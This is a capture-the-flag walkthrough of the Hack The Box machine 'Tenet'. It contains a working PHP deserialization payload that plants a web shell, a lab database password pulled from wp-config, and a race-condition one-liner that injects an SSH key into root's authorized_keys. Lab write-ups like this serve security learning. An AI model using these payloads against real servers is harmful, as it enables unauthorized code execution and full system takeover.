Tenet

Tenet is a medium machine from Hack The Box.

Enumeration

A nmap scan reveals only 2 ports open on the box: 22 and 80. It looks like the web server is running WordPress 5.6. Good to know.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

While I take a look at the web page, I run a wpscan in the background to enumerate any possible vulnerable plugins or themes.

wpscan --url http://tenet.htb -e --api-token <api-token> -o wpscan.txt

I found a few vulnerabilities but they all seem to be dead ends.

Pasted image 20210610104151

Posts on the site reveal 2 users, neil and protagonist, which wpscan also found. A comment on a post refers to a file, sator.php, and its backup.

image

After navigating to /sator.php in the browser, it looks the page is still up.

image

Exploitation

Navigating to /sator.php.bak initiates a download of the file.


class DatabaseExport
{
	public $user_file = 'users.txt'; ## Variables?
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()        ## Concatenation\/
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';          ## $objects
$databaseupdate = unserialize($input);  ## UNSERIALIZES INPUT
echo serialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

PHP is a bittt over my head at the moment, but after some reading and some more reading, I think I know enough to exploit it.

The PHP code accepts user input in the form of a parameter named arepo and then unserializes that input. There is a vulnerability in the way that PHP magic methods like __destruct() handle serialized objects that can lead to RCE. So, if I craft a serialized object that contains a payload, sator.php will execute my payload when it unserializes my input.

<?php

class DatabaseExport 
{
	public $user_file = 'tron.php';
	public $data = '<?php system($_REQUEST["cmd"]); ?>';
}

$pwn = new DatabaseExport;
echo (serialize($pwn));

?>

Running this PHP script will output a serialized object in which I have redefined the variables $user_file and $data. When sator.php executes, it will create a new file named tron.php that contains a parameter I can interact with for RCE.

O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"tron.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}

Place the serialized object into the arepo parameter: 10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"tron.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}

After some finagling with URL encoding via burp, I get a reverse shell on the machine.

Pasted image 20210612153735

On as www-data:

Pasted image 20210612154138

Privilege Escalation

Not much to do as www-data, but neil is also a user on this box, so I start looking for credentials of some kind. I know that wp-config usually has credentials, so I go digging.

Found some credentials for neil.

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

SSH in as neil with his password, and now I can look around some more.

sudo -l

Pasted image 20210612154801

There is a script that neil can run with sudo.

#!/bin/bash

checkAdded() {
	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
		/bin/echo "Successfully added $sshName to authorized_keys file!"
	else
		/bin/echo "Error in adding $sshName to authorized_keys file!"
	fi
}
checkFile() {
	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
		/bin/echo "Error in creating key file!"
		if [[ -f $1 ]]; then /bin/rm $1; fi
		exit 1
	fi
}
addKey() {
	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
	(umask 110; touch $tmpName)
	/bin/echo $key >>$tmpName
	checkFile $tmpName
	/bin/cat $tmpName >>/root/.ssh/authorized_keys
	/bin/rm $tmpName
}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

addKey
checkAdded
}

The script writes an SSH key into a file with a randomly generated name in the format /tmp/ssh-XXXXXXXX, then uses cat to append that key to /root/.ssh/authorized_keys. There appears to be a race condition here, as the $tmpName file exists during the checkFile process, before it’s written to authorized_keys, so if I am constantly writing my own SSH key to any file in the /tmp directory that fits the format /tmp/ssh*, I should be able to overwrite the root user’s key.

while true; do echo "<id_rsa.pub>" | tee /tmp/ssh* > dev/null; done &

This one-liner will do just that. I run it in the background while I run sudo /usr/local/bin/enableSSH.sh.

After a couple of tries, I can SSH in as root with no password.

Pasted image 20210612170356

Written on June 12, 2021